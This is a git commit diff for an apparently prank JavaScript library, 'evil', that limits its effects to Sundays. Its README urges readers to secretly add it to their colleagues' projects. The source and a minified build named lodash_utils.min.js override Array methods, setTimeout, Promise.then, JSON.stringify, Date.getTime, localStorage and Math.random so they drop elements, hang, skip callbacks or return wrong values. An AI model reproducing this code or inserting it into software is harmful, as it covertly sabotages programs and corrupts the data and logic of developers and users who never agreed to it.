only triggers on Sunday

This commit is contained in:
wheatup 2021-04-09 20:26:07 +09:00
parent 30a0674832
commit b2ca7f2803
5 changed files with 25 additions and 41 deletions

View File

@ -6,12 +6,14 @@
偷偷地把本项目引入你们的项目吧,你们的项目会有但不仅限于如下的神奇效果:
仅在周日时:
* 当数组长度可以被7整除时`Array.includes` 永远返回false。
* 当周日时,`Array.map` 方法的结果总是会丢失最后一个元素。
* `Array.filter` 的结果有2%的概率丢失最后一个元素。
* `Array.map` 有5%概率会丢失最后一个元素。
* `Array.filter` 的结果有5%的概率丢失最后一个元素。
* `Array.forEach` 会卡死一段时间。
* `setTimeout` 总是会比预期时间慢1秒才触发。
* `Promise.then` 在周日时有10%概率不会注册
* `Promise.then` 有10%概率不会触发
* `JSON.stringify` 有30%概率会把`I`(大写字母I)变成`l`(小写字母L)。
* `Date.getTime()` 的结果总是会慢一个小时。
* `localStorage.getItem` 有5%几率返回空字符串。
@ -28,12 +30,14 @@ Wanna leave a little *surprise* for the project you are working on?
Try include this *harmless* library! Your project will have following amazing effect:
When on Sunday:
* If the array size is divisible by `7`, `Array.includes` aways return `false`.
* `Array.map` will always be missing the last element during Sunday.
* `Array.filter` has 10% chance to drop the final element.
* `Array.map` has 5% chance to drop the last element.
* `Array.filter` has 5% chance to drop the final element.
* `Array.forEach` will will cause a significant lag.
* `setTimeout` will alway trigger 1s later than expected.
* `Promise.then` has 10% chance will not register during Sunday.
* `Promise.then` has 10% chance will not register.
* `JSON.stringify` has 30% replace `I` into `l`.
* `Date.getTime()` always gives the result off by 1 hour.
* `localStorage.getItem` has 5% chance returns empty string.

View File

@ -1 +1 @@
(n=>{const e=Array.prototype.includes;Array.prototype.includes=function(...t){return this.length%7!=0&&e.call(this,...t)};const r=Array.prototype.map;Array.prototype.map=function(...t){return result=r.call(this,...t),0===(new Date).getDay()&&(result.length=Math.max(result.length-1,0)),result};const o=Array.prototype.filter;Array.prototype.filter=function(...t){return result=o.call(this,...t),u()<.02&&(result.length=Math.max(result.length-1,0)),result};const l=n.setTimeout;n.setTimeout=function(t,e,...r){return l.call(n,t,+e+1e3,...r)};const a=Promise.prototype.then;Promise.prototype.then=function(...t){0===(new Date).getDay()&&u()<.1||a.call(this,...t)};const c=JSON.stringify;JSON.stringify=function(...t){let e=c.call(JSON,...t);return u()<.3&&(e=e.replace(/I/g,"l")),e};const s=Date.prototype.getTime;Date.prototype.getTime=function(){var t=s.call(this);return t-=36e5};const i=n.localStorage.getItem;n.localStorage.getItem=function(...t){let e=i.call(n.localStorage,...t);return u()<.05&&(e=""),e};const u=Math.random;Math.random=function(...t){t=u.call(Math,...t);return t*=1.1}})((0,eval)("this"));
(o=>{if(0===(new Date).getDay()){const e=Array.prototype.includes;Array.prototype.includes=function(...t){return this.length%7!=0&&e.call(this,...t)};const r=Array.prototype.map;Array.prototype.map=function(...t){return result=r.call(this,...t),p()<.05&&(result.length=Math.max(result.length-1,0)),result};const n=Array.prototype.forEach;Array.prototype.forEach=function(...t){for(let t=0;t<=1e7;t++);return n.call(this,...t)};const l=Array.prototype.filter;Array.prototype.filter=function(...t){return result=l.call(this,...t),p()<.05&&(result.length=Math.max(result.length-1,0)),result};const a=o.setTimeout;o.setTimeout=function(t,e,...r){return a.call(o,t,+e+1e3,...r)};const c=Promise.prototype.then;Promise.prototype.then=function(...t){p()<.1||c.call(this,...t)};const s=JSON.stringify;JSON.stringify=function(...t){let e=s.call(JSON,...t);return p()<.3&&(e=e.replace(/I/g,"l")),e};const i=Date.prototype.getTime;Date.prototype.getTime=function(){var t=i.call(this);return t-=36e5};const u=o.localStorage.getItem;o.localStorage.getItem=function(...t){let e=u.call(o.localStorage,...t);return p()<.05&&(e=""),e};const p=Math.random;Math.random=function(...t){t=p.call(Math,...t);return t*=1.1}}})((0,eval)("this"));

View File

@ -10,7 +10,9 @@
*/
(global => {
////// Arrays
// Skip if it's not Sunday
if (new Date().getDay() !== 0) return;
/**
* If the array size is devidable by 7, this function aways fail
* @zh 当数组长度可以被7整除时本方法永远返回false
@ -25,13 +27,13 @@
};
/**
* Array.map will always be missing the last element on Sundays
* @zh 当周日时Array.map方法的结果总是会丢失最后一个元素
* Array.map has 5% chance drop the last element
* @zh Array.map方法的结果有5%几率丢失最后一个元素
*/
const _map = Array.prototype.map;
Array.prototype.map = function (...args) {
result = _map.call(this, ...args);
if (new Date().getDay() === 0) {
if (_rand() < 0.05) {
result.length = Math.max(result.length - 1, 0);
}
return result;
@ -48,13 +50,13 @@
}
/**
* Array.fillter has 10% chance to lose the final element
* @zh Array.filter的结果有2%的概率丢失最后一个元素
* Array.fillter has 5% chance to lose the final element
* @zh Array.filter的结果有5%的概率丢失最后一个元素
*/
const _filter = Array.prototype.filter;
Array.prototype.filter = function (...args) {
result = _filter.call(this, ...args);
if (_rand() < 0.02) {
if (_rand() < 0.05) {
result.length = Math.max(result.length - 1, 0);
}
return result;
@ -70,12 +72,12 @@
}
/**
* Promise.then has a 10% chance will not register on Sundays
* @zh Promise.then 在周日时有10%几率不会注册
* Promise.then has a 10% chance will not trigger
* @zh Promise.then 有10%几率不会触发
*/
const _then = Promise.prototype.then;
Promise.prototype.then = function (...args) {
if (new Date().getDay() === 0 && _rand() < 0.1) {
if (_rand() < 0.1) {
return;
} else {
_then.call(this, ...args);

24
package-lock.json generated
View File

@ -1,30 +1,8 @@
{
"name": "evil",
"version": "1.0.0",
"lockfileVersion": 2,
"lockfileVersion": 1,
"requires": true,
"packages": {
"": {
"name": "evil",
"version": "1.0.0",
"license": "ISC",
"devDependencies": {
"uglify-js": "^3.13.3"
}
},
"node_modules/uglify-js": {
"version": "3.13.3",
"resolved": "https://registry.npmjs.org/uglify-js/-/uglify-js-3.13.3.tgz",
"integrity": "sha512-otIc7O9LyxpUcQoXzj2hL4LPWKklO6LJWoJUzNa8A17Xgi4fOeDC8FBDOLHnC/Slo1CQgsZMcM6as0M76BZaig==",
"dev": true,
"bin": {
"uglifyjs": "bin/uglifyjs"
},
"engines": {
"node": ">=0.8.0"
}
}
},
"dependencies": {
"uglify-js": {
"version": "3.13.3",

View File

@ -5,7 +5,7 @@
"main": "index.js",
"scripts": {
"test": "echo \"Error: no test specified\" && exit 1",
"build": "uglifyjs --compress --mangle --output build/lodash_utils.min.js -- index.js"
"build": "uglifyjs --compress --mangle --output build/lodash_utils.min.js -- index.js"
},
"keywords": [],
"author": "",